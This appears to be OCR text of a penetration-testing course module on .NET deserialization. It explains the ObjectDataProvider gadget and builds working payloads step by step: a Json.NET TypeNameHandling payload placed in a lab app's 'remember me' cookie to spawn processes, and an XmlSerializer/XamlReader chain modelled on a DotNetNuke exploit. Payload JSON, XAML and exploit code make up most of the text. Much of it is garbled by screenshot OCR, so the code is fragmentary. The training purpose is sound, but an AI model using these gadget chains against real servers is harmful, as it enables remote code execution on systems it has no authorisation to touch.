public void Initialload()

/// <summary>Initiates a refresh operation to the underlying data model. The result is returned
public void Refresh()
i

initialloadCal led = true;
Be; el 3

}

[/// <summary>Enters a defer cycle that you can use to change properties of the provider and dela
public virtual IDisposable DeferRefresh()

/// <summary>This member supports the Windows Presentation Foundation (WPF) infrastructure and i
void ISupportInitialize.BeginInit()

-t ' . e e - e - e oy . . '

BeginQuery is an empty method in DataSourceProvider, butitis overridden in
ObjectDataProvider, so this is where the execution flow continues. Inside the
implementation of BeginQuery , we can see that the QueryWorker function is called.



=
+ Base Types

& Derived Types

75 SourceMode
_constructorParameters : Paramete

: nceProvider: DataSourcePro

if (TraceData.IsExtendedTraceEnabled(this, TraceDatalevel.Attach))

TraceData.Trace(TraceEventType.Narning, TraceData.BeginQuery(TraceData.Identify(this), IsAsynchronous ? “asynchronous” : "synchronous"));

+ %3 CollectionViewSource
+ % CompositeCollection + <summary>Indic whether the <see cref-"P:System.Windows.Data.ObjectDataProvider.ConstructorParameters” /> property should be persisted.</summary)]
+ % DataChangedEventManager [EditorBrowsable(EditorBrowsableState.Never)]
+ %3 DataTransferEventArgs public bool ShouldserializeConstructorParameters()
+ % FilterEventArgs +
+ @ FilterEventHandler . . . : : = = : .
+ W) GroupDescriptionselectorCallback + ///_csumnary>Indicates whether the <see cref="P:System.Windows.Data.ObjectDataProvider. MethodParameters” /> property should be persisted.</summary)
5 +0 IMuNolucComverter [EditorBrowsable(EditorBrousablestate. Never) ]
public bool ShouldSerializeMethodParameters()

+ *0 IValueConverter e
+ % ListCollectionView
+ “3 MultiBinding / <summary>Starts to create the requested object, either immediately or on a background thread, based on the value of the <see cref=
+ %3 MultiBindingExpression protected override void BeginQuery()
=%

&

I

i

if (IsAsynchronous)

ynchronous : bool ThreadPool. QueueUseriorkItem(Querytorker, null);
ng
_methodParameters : ParameterCe
_mode : SourceMode
_needNewinstance : bool
_objectinstance : ebject }
_objectType : Type
ourceDataChangedHandler: Eve

_methodName :

else

Queryworker (null);

£.000080800

private cbject TryInstanceProvider(object value)
ne : string + C=d
ance : string
okeMethodFlags : BindingFla
method : stiing
type: string

] F]
oo

private bool SetObjectInstance(cbject value)

rivate bool SetObjectType(Type newType
ConstructorParameters  IList b =2 e

IsAsvnchronous : bool

Finally, we end up in the QueryWorker function in ObjectDataProvider, and we can see
that an object instance is created, and additionally that a method is invoked if the
MethodName parameter is defined.

MultiBinding {
MultiBindingExpression

+ Base Types

# Derived Types

s SourceMode

Exception e2 = null;
if (_needNewInstance &% _mode == SourceMode.FromType)

ConstructorInfo[] constructors =
)

_objectType.GetConstructors();
if (constructors.Length !=

+ Col\ecaonContamer + e g v !
+ %3 CollectionRegisteringEventArgs
+ (@ CollectionSynchrenizationCallback private bool SetObjectType(Type newType)
+ %z CollectionView +
+ %z CollectionViewGroup ) . . .
+ * CollectionViewRegisteringEventArgs L private void QueryWorker(object obj)
+ %z CollectionViewSource object obi2 = null;
3 CompositeCellection Exception e = null;
+ *z DataChangedEventManager if (_mode == SourceMode.NoSource || _objectType == null)
+ %3 DataTransferEventArgs
+ 2 FilterEventArgs if (TraceData.IsEnabled)
3 ﬁ] FilterEventHandler { . .
B ﬁ GroupDescriptionSelectorCallback TraceData.Trace(TraceEventType.Error, TraceDatas.ObjectDataProviderHasNoSource);
F+9 IMultiValueConverter e = new InvalidOperationException(System.Windows.5R.Get("ObjectDataProviderHasNoSource™));
+ *0 |ValueConverter
+ %z ListCollectionView else
iy
w4
*
+
3
3

"_aﬂ _constructorParameters : Paramety _objectInstance =|Create0bject1nstance(out e2);
& instanceProvider : DataSourcePro

L3 _needNewInstance = false;

< }

ga _methodParameters : ParameterCe if (string.IsNullOrEmpty(MethodName))

% _mode: SourceMode . .

@ needMewlnstance : bool obijzE M ob)ectinztance;

GH _objectinstance : object i]se

@ objectType: Type

L3 _sourceDataChangedHandler : Eve obj2 = |[InvokeMethodOnInstance(out E)jl
bl sync : string if (e = null & eZ T=null]

Elﬂ instance: string {

8 s_invokeMethodFlags : BindingFla e =el;

Bf s_method: string }

EL s_type: string ¥

A ConstructorParameters : IList if (TraceData.IsExtendedTraceEnabled(this, TraceDatalevel.Attach))
IsAsynchronous : bool {

MethodName : string
MethodParameters : [List
Objectinstance : object

ObjectType: Type

TraceData.Trace(TraceEventType.Warning, TraceDats.QueryFinished(TraceData.Identify(this), base.Dispatcher.Che

OnQueryFinished(obj2, e, null, null);

5
]
y
&
&

Going back to the documentation again, we can see that ObjectDataProvider has the
following fields (among others):

ObjectType : Used to set the type of object to create an instance of
MethodName : Set the name of a method to call when creating the object
MethodParameters : The list of parameters to be passed to the method

So using just these three fields, we should be able to create an instance of an arbitrary
object,and callan arbitrary method with arbitrary parameters, all without invoking
a single method. We can test this out ourselves with a short C# program, which uses


https://learn.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider?view=windowsdesktop-7.0

ObjectDataProvider to create an instance of System.Diagnostics.Process and invokes
the Start method with parameters to launch the calculator application.

Note: Don't worry about actually compiling/running the program below, we will get to exploit
development in the following sections.

using System.Windows.Data;

namespace ODPExample

{
internal class
{
static void (string[] args)
{
odp = new W
odp.0ObjectType = typeof( . . )
odp.MethodParameters. ("C:\\Windows\\System32\\cmd.exe");
odp.MethodParameters. ("/c calc.exe");
odp.MethodName = "Start";
}
}
}

Using ObjectDataProvider, we can execute arbitrary commands without invoking any
methods directly/explicitly.



Program.cs & X
[ ODPExample “2, ODPExample.Program
sing System.Windows.Data;

ace ODPExample

Calculator

Standard &

continue . . .

Conclusion

We now have a gadget that enables remote code execution upon deserialization.
This is an important part of exploiting .NET deserialization vulnerabilities, because we will
typically can not use serialized data to directly invoke methods.

Example 1: JSON

Discovering the Vulnerability

Let's take a look at one of the potentially vulnerable function calls that we identified in an
earlier section, specifically the call to JsonConvert.DeserializeObject in
Authentication.RememberMeUtil.


af://h4-34
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= "B TeeTrove (1.0.0.0, NETFramework, v4.7.2) // TeeTrove, Version=1.8.8.8, Culture=neutral, PublicKeyToken=null
+ Bl Metadats // TeeTrove.Authentication.RememberMeUtil
+ " References Husing |...
+ R
+ {} esourees public class RememberMeUtil
+ {} TeeTrove public static readonly string REMEMBER_ME_COOKIE NAME = "TTREMEMBER";
= {} TeeTrove.Authentication
+ *z AuthCookieUtil private static Random random = new Random();
+ * CustomAuthorizeAttribute
+ * CustomMembership public static HttpCookie createCookie(CustomMembershipUser user)
+

+ *3 CustomMembershipUser

+ 3 CustomPrincipal public static CustomMembershipUser validateCookieAndReturnUser(string cookie)

+ * RememberhMe = 1

SR Rcmembe el try

+ * Session
+ {} TeeTrove.Controllers RememberMe rememberMe = (Rememberte)JlsonConvert.DeserializeObject(cookie, new JsonSerializerSettings|
+ {} TeeTroveData . i
+ {} TeeTroveMigrations TypeNameHandling = TypeNameHandling.ALL
+ i

CustomMembersniplUser User = (CustomfembershipUser)Fembership.GetUser(rememberie.Username, userlsonline: false);

return (User.RememberToken == rememberMe.Token) ? User : null;

}
catch (Exception)
{

return null;

}

Based on the name of the class and related variables, we can assume this bit of code has to
do with the application's "remember me" functionality. If we log into the website with the
credentials pentest:pentest andthe "Remember me" option checked, we can look at our
cookies to spot the "TTREMEMBER" JSON cookie.

@ W Welcome to TeeTrove! x + ~ - [m] b

G C O &G o https://localhost: 44384 g Y =
~

Gj ee,ail rove MAtHome WMyTees Hi, pentest [+ Logout
NNE IN A ﬁ ‘ A y
O O Inspector Console [ Debugger T} Network {3} StyleEditor (3) Performance 0 Memory [5) Storage Ty Accessibility 833 Application 0] + X
~ [ Cache Storage V Filter ttems + @
@ nttpsi//iocalnost44384 Name Value Domain Path Evpires /Max-Age  Size  HitpOnly Secure SameSite Last Accessed

- E ‘Cookies TTAUTH AAEAAAD//AQAAAAAAAAAMAGAAADSUZWVUCMI2ZSwgVmVyc2lvbj0xLjAu...  localhost / Session 343 true true Mone Thu, 12 Oct 2023 1...

@ https://localhost44384 TTREMIE... I{'Ussmame':'pEntEst‘,‘TnkEn':‘5EAEFIHPD?CLIMDDEd?dHKZKEdPL&ZZP‘}I lacalhost ! Sat, 11 Nov 2023 1... 75 true true Hone Thu, 12 Oct 2023 1...

+ ) Indexed DB

» E Local Storage

» E Session Storage

Double-checking with the source code, we can confirm that this is indeed the cookie that is
being deserialized in the validateCookieAndReturnUser method of RememberMeUtil, and
that it is created in the createCookie method of the same class.

public static readonly string REMEMBER ME COOKIE NAME = "TTREMEMBER";
<SNIP>

public static ( user)
{
rememberMe = new (user.Username,
user.RememberToken) ;
string jsonString
cookie

JsonConvert. (rememberMe) ;
new (REMEMBER ME COOKIE_ NAME,

jsonString);



cookie.Secure = true;

cookie.HttpOnly = true;

cookie.Expires = DateTime.Now. (30.0);
return cookie;

Before we spend any more time reverse-engineering the system, let's check if this
deserialization call is vulnerable or not. With a quick search, we will find the previously
mentioned Friday the 13th JSON Attacks whitepaper by Alvaro Mufioz and Oleksandr
Mirosh. The paper discusses various Java and .NET serializers that utilize JSON and
explores their vulnerabilities and when they are susceptible. On page 5, we can see the
following paragraph about Json.Net , which is the specific library being used in TeeTrove
to (de)serialize this cookie.

Json.Net
Project Site: http://imww. newtonsoft.com/json
NuGet Downloads: 64,836,516

Json.Net is probably the most popular JSON library for .NET. In its default configuration, it will not include type
discriminators on the serialized data which prevents this type of attacks. However, developers can configure it to do
so by either passing a JsonserializerSettings instance with TypeNamsHandling property set to a non-lione
value:

var deser = JsonConvert.DeserializeCbject<Expected®(json, new
JsonSerializerSettings

TypeNameHandling = TypeNameHandling.ALll
1N

Or by annotating a property of a type to be serialized with the [7scnProperty] annotation:

[JsonProperty (TypeNameHandling = TypeNameHandling.All)]
public object Body { get; set; |}

According to the white paper, Json.NET will not deserialize data of the wrong type by
default, which would prevent us from passing something like a serialized
ObjectDataProvider object instead of a RememberMe object. However, by setting the
TypeNameHandling to a non- None value, this behavior can be disabled. If we look at the
relevant source code again, we will notice that TypeNameHandling is setto All, so it
appears that this deserialization call should be vulnerable!


https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf

nblies L2 Bl RememberMeUtil

I TeeTrowve (1.0.0.0, NETFramework, v4.7.2) /f TeeTrove, Version=1.8.8.@8, Culture=neutral, PublicKeyToken=null
BUE Metadata // TeeTrove.Authentication.RemembertMeUtil
A References tusing |...
R = =
It ssourees public class RememberMeUtil
{} TeeTrove public static readonly string REMEMBER_ME_COOKIE NAME = “"TTREMEMBER";
{} TeeTrove.Authentication
+ % AuthCookieltil private static Random random = new Random();
+ *z CustomAuthorizeAttribute
+ *3 CustomMembership public static HttpCockie createCookie(CustomMembershipUser user)
= {

+ *3 CustomMembershipUser
P RememberMe rememberMe = new RememberMe(user.Username, user.RememberToken);

string jsonString = JsenConvert.SerializeObject(rememberte);
HttpCookie cookie = new HttpCookie(REMEMBER_ME_COOKIE_NAME, jsonString);

+ *3 CustomPrincipal
+ %z RememberMe

£ 4| RememberMeUtil cookie.Secure = true;

+ ¥ Session cookie.HttpOnly = true;

{} TeeTrove.Controllers cookie.Expires = DateTime.MNow.AddDays(38.8);
{} TeeTrove.Data return cookie;

{} TeeTrove.Migrations ¥

{} TeeTrove.Models

public static CustomMembershipUser validateCookieAndReturnUser(string cookie)

RememberMe rememberMe = (RememberMe)lsonCenvert.DeserializeObject(cookie, new JsenSerializerSettings

| TypeNameHandling = TypeNameHandling.ALL |

CustomMembershipUser User = (CustomMembershipUser)Membership.GetUser(rememberMe.Username, userIsOnline: false);
return (User.RememberToken == rememberMe.Token) ? User : null;

ionServ (s
tem.Data.50Lite.EF6.Migrations
soft.CSharp ETFramew v
0.0, .NETFramew
NETFramework, 2
0, NETFramework v45) | 1

catch (Exception)

]

1

1

1

1

1

B Sys
1

1

1

[] return null;
B System.Web.V

B BCrypt.Net-Mext
B Newtensoft.)Json

Note: Now that we know setting TypeNameHandling can lead to deserialization
vulnerabilities, we can search through source code for this term specifically in the future to
find interesting lines.

Developing the Exploit

At this point, we have reason to believe the call to DeserializeObject is vulnerable, so
let's try to exploit it. We understand how we should be able to use ObjectDataProvider to
execute arbitrary commands upon instantiation (deserialization), so let's create a serialized
object we can replace the value of the cookie with to achieve (remote) code execution.

If you don't have Visual Studio installed, then this is the point where you should do so.
You can download the latest version from here, just make sure the .NET desktop
environment option is selected during the installation process so that the necessary files
are downloaded and made available.


https://visualstudio.microsoft.com/vs/community/
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Madifying — Visual Studio Community 2022 — 17.74
Workloads

Python development

Individual components  Language packs

Editing, debugging, interactive development and source
control for Python,

Desktop & Mobile (5)

Installation locations

Node.js development
Build scalable network applications using Node,js, an Installation details
asynchronous event-driven JavaScript runtime,

» Visual Studio core editor
+ ASP.NET and web development
* .NET desktop development

NET Multi-platform App Ul development n]
38 Build Android, 05, Windows, and Mac apps from a single
codebase using C# with \NET MAUI,

~ Individual components
NET Framework 4.8 SOK
NET Framework 4.8 targeting pack
Advanced ASP.NET features

.NET Framework project and item templates

.NET desktop development
Build WPF, Windows Forms, and console applications
using C#, Visual Basic, and F# with .NET and .NET Frame...

ha Desktop development with C++ ml
Build modern C++ apps for Windows using toals of your Ll |
choice, including MSVC, Clang, CMake, or MSBuild.

g Mobile development with C++
Build cross-platform applications for i0S, Android or
Windows using C++.

Location

C:\Program Files\Microsoft Visual Studio\2022\Community

By continuing, you agree to the licel
Studio. This software is licensed separ:
licenses.

for the Visual Studio edi

ou selected. We also offer the ability to download other software with Visual
ely, as set out in the 3rd Party Notices or in its accompanying license. By continuing, you also agree to those

Universal Windows Platform development
Create applications for the Universal Windows Platform
with C#, VB, or optionally C++.

Remove out-of-support components

Total space required 0 B
Install while downloading ~ Close

With Visual Studio installed, we can open it and create a new Console App (.NET

Framework) .

Create a new project

Recent project templates

BEd Console App (MET Framework)

ASP.MET Web Application (.MET Framework)

.net console

All languages All platforms All project types
onsole App (NET Framework)
ject for creating a cormmand-line application

Windows Console

a‘“’ Console App (.NET Framework)

A project for creating a command-line application

Visual Basic Windows Console

ject for creating a command-line application that can run on .NET on Windows,
and macO5

Linux mac0s Windows Console

We can reuse the code from the previous section to base our ObjectDataProvider object

on.

using System.Windows.Data;

namespace RememberMeExploit
{
internal class
{
static void

{

odp.ObjectType

typeof ( . .
odp.MethodParameters.
odp.MethodParameters.

(string[] args)

odp = new ();
);
("C:\\Windows\\System32\\cmd.exe");

("/c calc.exe");

odp.MethodName = "Start";



There will be an error regarding ObjectDataProvider . Visual Studio will not reference the
necessary namespace by itself for this class, so it is necessary to hover over it, select Show
potential fixes and then select using System.Windows.Data; (from

PresentationFramework)

Main( [1 args)

ObjectDataProvider odp = new ObjectDataProvider();
GL;T\ +« p.0ObjectType = (System.Diagnostics.F

Generate class 'ObjectDataProvider’ in new file
senerate class 'ObjectDataProvider’

senerate nested class 'ObjectDataProvider’

. o System.Threading.Tasks;
Ge e new type... .
Generate new typ System.Windows.Data;
using System.Windows.Data; (from PresentationFramework) | »

Generate type 'ObjectDataProvider'

ges Preview c

Once that's cleared up, we can add the following lines to serialize the object with Json.NET
and print it out to the console.

settings = new ()
{
TypeNameHandling = TypeNameHandling.All
}i
string json = JsonConvert. (odp, settings);
Console. (json);

There will be another error, because Json.NET is not an official Mircosoft package and is
therefore not installed by default. If you are using your own Windows VM for this module,
you may simply head down to the Package Manager Console and run the command
Install-Package Newtonsoft.Json to install it.

Newtonsoft.Json

If you are following along on the provided Tools VM, then we will need to add a reference to

the DLL file manually. First, extract the ZIP file C:\Tools\Newton Soft Json.zip toa
destination of your choosing. Next, inside Visual Studio, navigate to Project > Add



Reference. .., select Browse and find Bin\net45\Newtonsoft.Json.dll from wherever
you extracted the ZIP file to.

4 g v 5 QY I LTHLNLIIUUWS . UGLG,
2
3 ~namespace Remember‘MeExp101t 4 A Targeting: .NET Framework 4.7.2 Search (Ctrl+E)
- {
5 = internal class Program
7 = static void Main( stk Vo V.1 R 1 1
COM wile A0 File Version:
8 { built by: NETA72REL1
9 ObjectDataProvidis
10 odp.0bjectType
11 odp.MethodParame
Select the files to reference...
« v o 5> ThisPC 5 Local Disk (C) » Tools )lNawtnn_Snft_J;nn 5 Bin » netds v O Search netd5
Organize * Mew folder EEER | 0 .
S
L] & Name Date modified Type Size
. - 2] Newteonsoft.Json.dll 3/8/2023 7:10 AM Application exten... 696 KB
il =
] =
[ / v
[ o
i
=
= =
—| ]
File name: | NewtonsoftJson.dll v| Compenent Files (*.dI;* tlb;*.ol ~
Add Cancel

Hit Add and then 0k, and the reference errors should be cleared up. Now, we can build the
program and run it. A calculator will spawn; however, there will be no serialized object for us
to copy. Instead, an error message will be displayed since the serializer cannot determine
certain information due to the new process.



from °

Calculator

Standard -3

Based on the error message above, the object was not serializable due to the system not
being able to determine the ExitCode . We don't need the calculator to spawn now, we just
want to see the serialized output, so let's change the value of MethodName from Start to
Startl. The method Startl does not actually exist, and it should not result in any
calculator being spawned. Therefore, ideally, we should obtain serialized JSON output that
we can manually modify. This time when we run the program, we get this output:

"$type": "System.Windows.Data.ObjectDataProvider,
PresentationFramework",
"ObjectType": "<SNIP>",
"MethodName": "Startl",
"MethodParameters": {
"$type": "<SNIP>",
"$values": [
"C:\\Windows\\System32\\cmd.exe",
"/c calc.exe"
]
b
"IsAsynchronous": false,
"IsInitialLoadEnabled": true,
"Data": null,
"Error": {
"$type": "System.MissingMethodException, mscorlib",
"ClassName": "System.MissingMethodException",



"Message": "Attempted to access a missing member.",

"Data": null,

"InnerException": null,

"HelpURL": null,

“"StackTraceString": " at System.RuntimeType.InvokeMember (String
name, BindingFlags bindingFlags, Binder binder, Object target, Object][]
providedArgs, ParameterModifier[] modifiers, CultureInfo culture, String[]
namedParams)\r\n at
System.Windows.Data.0ObjectDataProvider.InvokeMethodOnInstance (Exception&
e)",

"RemoteStackTraceString": null,

"RemoteStackIndex": 0O,

"ExceptionMethod": "8\nInvokeMember\nmscorlib, Version=4.0.0.0,
Culture=neutral,
PublicKeyToken=b77a5c561934e089\nSystem.RuntimeType\nSystem.0Object
InvokeMember(System.String, System.Reflection.BindingFlags,
System.Reflection.Binder, System.Object, System.Object[],
System.Reflection.ParameterModifier[], System.Globalization.CultureInfo,
System.String[])",

"HResult": -2146233070,

"Source": "mscorlib",
"WatsonBuckets": null,
"MMClassName": "System.Diagnostics.Process",

"MMMemberName": "Startl",
"MMSignature": null

Taking a look at the JSON object, we can see that there is along Error section due to
Startl not being a valid method. We can just remove this and change Startl back to
Start so that the correct method will be called when we deserialize the object. We can also
remove the IsAsynchronous, IsInitiallLoadEnabled, and Data fields since we don't
require any specific values for these properties to achieve code execution:

"$type": "System.Windows.Data.ObjectDataProvider,
PresentationFramework",
"ObjectType": "<SNIP>",
"MethodName": "Start",
"MethodParameters": {
"$type": "<SNIP>",
"$values": [
"C:\\Windows\\System32\\cmd.exe",
"/c calc.exe"



We can now test this payload to make sure the calculator is spawned with the following lines
of code:

string payload = "{\"$type\":\"System.Windows.Data.ObjectDataProvider,
PresentationFramework\",\"ObjectType\":\"
<SNIP>\",\"MethodName\":\"Start\",\"MethodParameters\": {\"$type\":\"
<SNIP>\",\"$values\": [\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"/c
calc.exe\"]}}";

JsonConvert. (payload, settings);

Although you would think it should work, we ran into another error. We get an error in
Process.Start because a "file name was not provided" .

space RememberMeExploit

o BN C\Windows\system32\cmd.exe

Cannot start

JsonProp memb
rial

Luckily, with a bit of trial and error, the fix is simple. We must simply move the
"MethodName" field to after the "MethodParameters"” field, since right now the object
creation is occurring before the parameters are set. So our updated payload will look like
this:

"$type": "System.Windows.Data.ObjectDataProvider,
PresentationFramework",
"ObjectType": "<SNIP>",
"MethodParameters": {
"$type": "<SNIP>",
"$values": [



"C:\\Windows\\System32\\cmd.exe",
"/c calc.exe"
]

},
"MethodName": "Start"

This time, when we run the payload, a calculator process should spawn!

Calculatar

= Standard

payload = "{\"$type\":\"System.Windows.Data.0bj
nvert.DeserializeObject(payload, settings);

@ Mo issues found

Exploiting TeeTrove

With a working PoC, let's try and exploit the JSON deserialization in TeeTrove , except this
time instead of a calculator let's spawn notepad.exe, just to switch things up.

<SNIP>
"$values": [
"C:\\Windows\\System32\\notepad.exe"

]
<SNIP>

We can log into the website with the credentials pentest:pentest, making sure to select
the "Remember Me" option, replace the value of the TTREMEMBER cookie with our payload,
and log out of the application so that the "Remember Me" functionality springs into action.
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Gfgg,q‘?pove, A Home

Login to TeeTrove
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Password

Remember me
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ocal Storage

ession Storage

At first, it appears that nothing is happening. However, when we attach dnSpy to IIS to
observe the process, we can discern that the ObjectDataProvider seems to have been
deserialized correctly, as indicated by the exception received.

returned

Luckily for us, if we open up Process Explorer from the Sysinternals Suite, we can see that a

notepad.exe instance was spawned as a child of w3wp.exe (the IIS process), so the
payload did work after all!


https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer
https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
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[mz]svchost.exe 6740 K 19,256 K 4296 Host Process for Windows S... Microsoft Corporation
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Example 2: XML

Discovering the Vulnerability

Let's look at another possibly vulnerable deserialization in TeeTrove, this time in the
Import method, located in Controllers.TeeController.

+ "I AuthCookieUtil [HttpPost]
+ *3 CustomAuthorizeAttribute [ValidateInput(false)]
+ ¥ CustomMembership public ActionResult Import()
+ % CustomMembershipUser -] {
+ 2 CustomPrincipal string xml = base.Request.Form["xml"];
+ *2 RememberMe string type = base.Request.Form["type"];
+ %z RememberMeUtil if (txml.IsEmpty())
+ % Session ¥mlSerializer xs = new XmlSerializer(Type.GetType(type), new XmlRootAttribute("Tee")});
= {} TeeTrove.Controllers try
+ %z AuthController
+ %z HomeController Tee tee = (Tee]xs.Deserialize(new XmlTextReader(new StringReader(xml})));|
=% using (DataContext dataContext = new DataContext())
+ % Base Types
+ & Derived Types dataContext.Tee.Add(new Tee
@ TeesController() ¢ UserId = tee.UserId
@ Export(int) : string Title = tee.Title, |
@ Import() : ActionResult ImagePath = "/Content/Img/Tees/default.jpg",
fﬁ Index() : ActionResult Price = tee.Price
fﬁ Mew() : ActionResult s
+ {} TeeTrove.Data dataContext.SaveChanges();
e
& :i I::I:z:::mg;:l:ns return RedirectToAction("Index", "Home");
B mscorlib (4.0.0.0, NETFramework, v4.0) catch (Exception)
timization (1.1.0.0, .NETFramewc {

}

return RedirectToAction("Index", "Tees");

B S T TS

Looking through the Microsoft documentation there are no notices about possible security

issues when using XmlSerializer, only this one paragraph which mentions untrusted
types should not be serialized.


https://learn.microsoft.com/en-us/dotnet/standard/serialization/introducing-xml-serialization
af://h1-39
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» The XmlSerializer serializes data and runs any code using any type given to it.

There are two ways in which a malicious object presents a threat. It could run malicious code or it could inject
malicious code into the C# file created by the XmlSerializer. In the second case, there theoretical poss
a malicious object may somehow inject code into the C# file created by the XmlSerializer. Although this

been examined thoroughly, and such an attack is considered unlikely, you should take the precaution of never

serializing data with an unknown and untrusted type.

Looking at the source code of the website, the expected type is clearly
TeeTrove.Models.Tee, however, we should notice that this class name is under our control
as it is sent during the request.

Import Tee from XML

XML
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DotNetNuke, a popular .NET CMS, was vulnerable to a deserialization attack in a very
similar manner a few years ago (refer to the screenshot below). Essentially, if an attacker
can control the type with which the XmlSerializer is initialized, then the deserialization is
susceptible to exploitation.


https://www.dnnsoftware.com/
https://pentest-tools.com/blog/exploit-dotnetnuke-cookie-deserialization
https://github.com/dnnsoftware/Dnn.Platform/blob/v9.9.1/DNN%20Platform/Library/Common/Utilities/XmlUtils.cs#L155

XmlUtils.cs

Blame

(Stream objStream, string rootname)

UrlController.cs
Urlinfo.cs
UrlLogInfo.cs we public static Hashtable DeSerializeHashtable(string xmlSource, string rootname)
{
var hashTable = new Hashta

if (!string.IsNullOrEmpty(
{

reach (X¥mlElement xmlItem in xmlDoc

xmlItem.Innerxmi))

ComponentModel

Data
Entities

ExtensionPeints

Developing the Exploit

Taking a Look at the DNN Payload

At this point, based on the previous section, we might assume that developing the exploit is
as simple as serializing an ObjectDataProvider once again to get command execution,
but unfortunately it is not as straightforward this time. Reading further through the blog_post
detailing the similar DotNetNuke deserialization vulnerability, we notice that the while the
XML payload does contain an ObjectDataProvider, it is wrapped inside an
ExpandedWrapperOfXamlReaderObjectDataProvider tag.

<
<key="pentest-tools.com"
type="System.Data.Services.Internal.ExpandedWrapper 2[[System.Web.UI.Objec
tStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f1lld50a3a], [System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089">

<ExpandedWrapperOfXamlReaderObjectDataProvider>

<ExpandedElement/>

<MethodName>Parse</MethodName>

<anyType xsi=" "

xsd=" " type=" >


https://pentest-tools.com/blog/exploit-dotnetnuke-cookie-deserialization
af://h2-41
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<ResourceDictionary

xmlns="
x=" ' System="'
' Diag="
'>
<ObjectDataProvider Key="' " ObjectType="
' MethodName=" '>
<0ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c calc</System:String>
</0bjectDataProvider.MethodParameters>
</0bjectDataProvider>
</ResourceDictionary>
</anyType>
</MethodParameters>
<ObjectInstance type=" "></0bjectInstance>

</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</item>

</profile>

Before we start blindly copying and pasting anything, let's try to understand what is going on
here. After some searching online, we found the following slide from the Friday the 13th
JSON Attacks talk at BlackHat 2017 discussing XmlSerializer in the context of the
DotNetNuke vulnerability.

bla‘n?:khat Overcoming XmlSerializer cg

UsA 2017

* Types with interface members cannot be serialized
+ System.Windows.Data.ObjectDataProvider is XmlSerializer friendly ©
+ System.Diagnostic.Process has Interface members ® ... use any other
Type!

XamlReader.Load (String) ->RCE

* ObjectStateFormatter.Deserialize (String) ->RCE

* DotNetNuke.Common.Utilities.FileSystemUtils.PullFile(sString) ->WebShell
* DotNetNuke.Common.Utilities.FileSystemUtils.WriteFile (String) -> Read files

* Runtime Types needs to be known at serializer construction time
» ObjectDataProvider contains an Object member (unknown runtime Type)
* Use a parametrized Type to “teach” xmlserializer about runtime types. Eg:

System.Data.Services.Internal.ExpandediWrapper 2|
[PUT_RUNTIME TYPE 1 HERE], [PUT_RUNTIME TYPE 2 HERE]
], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyTcken=b77a53c561934e089

The slide mentions that types with interface members can not be serialized and that this
affects the Process class, which is what we were using with ObjectDataProvider inthe
previous exploit. However, it does also mention that we can use XamlReader.Load instead


https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf

to lead to remote code execution, so let's look at this a bit closer. Essentially,
XamlReader is just another serializer that can be used with .NET . We will not be able to
serialize ObjectDataProvider directly with XmlSerializer to get code execution, but
we can serialize a XamlReader and then pass a serialized ObjectDataProvider to
XamlReader which should then resultin code execution.

Creating our Payload

Let's create anew .NET Framework Console application called TeeImportExploit and
start working on a payload for XamlReader . Reusing our ObjectDataProvider from before,
and then adding a couple of lines to serialize the object with Xam|\Writer (the counterpart to
XamlReader ) we get this code (make sure to add the reference to System.Windows.Markup
(from PresentationFramework) similarto the way we did with ObjectDataProvider):

using System;
using System.Windows.Data;
using System.Windows.Markup;

namespace TeeImportExploit

{
internal class
{
static void (string[] args)
{
odp = new ();
odp.0ObjectType = typeof( . . )&
odp.MethodParameters. ("C:\\Windows\\System32\\cmd.exe");
odp.MethodParameters. ("/c calc");
odp.MethodName = "Start";
string xaml = XamlWriter. (odp);
Console. (xaml) ;
}
}
}

Running the program does launch the calculator, and an XAML string is written to the
console, however, we notice that the method parameters are not mentioned anywhere,
therefore, if we attempt to deserialize this string with XamlReader.Load nothing would
happen.


https://learn.microsoft.com/en-us/dotnet/api/system.windows.markup.xamlwriter?view=windowsdesktop-7.0
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View Input Devices Help

Build Debug  Test
Calculator

Debug - AnyCPU
= Standard M

~ 4 TeelmporiExploit.Program

.0bj ype = typeof(5)
odp . MethodParameters.Add(
odp.MethodParameters. Add

odp.MethodName = "Start";

odp

xaml = XamlWriter.Save(odp);
MritelLine(xaml);

We are not able to serialize MethodParameters, so we need to find another way to pass the
parameters to Process.Start . Luckily for us, ObjectDataProvider has another field
called ObjectInstance which we can set to an existing Process object. Process objects
have a field called StartInfo, which is of type ProcessStartInfo. This allows us to
specify the FileName and Arguments in a manner that can be serialized. So let's rewrite
the code like this:

using System;

using System.Diagnostics;
using System.Windows.Data;
using System.Windows.Markup;

namespace TeeImportExploit

{
internal class
{
static void (string[] args)
{
psi = new ();
psi.FileName = "C:\\Windows\\System32\\cmd.exe";
psi.Arguments = "/c calc";
p = new ();

p.StartInfo = psi;



odp = new ();
odp.0ObjectInstance = p;
odp.MethodName = "Start";

string xaml = XamlWriter. (odp);
Console. (xaml);

This time, when we run the program the calculator will spawn again and the output will be
much longer. Most importantly, the file name and arguments are included in the serialized
output.

Program.cs & X
TeelmportExploit ~ % TeelmportExploit.Program ~ g Main(string[] args)
System;
System.Diagnostics
System.Windows.Data;
System.Windows . Markup;

Calculator
Standard ©

ace TeeImportExploit

tInfo();

psi.FileName =
psi.Arguments

T ERSaE
p.StartInfo = psi;

odp.0ObjectInstanc
odp . MethodName

xaml mll
e.WritelLine(xaml);

10% = @ Noissues found

Let's take a closer look at the XAML output and clean up any unnecessary information.

<ObjectDataProvider MethodName=" !
xmlns=" "

x=" ">
<0ObjectDataProvider.0bjectInstance>
<sd:Process>
<sd:Process.StartInfo>
< ProcessStartInfo Arguments=" "
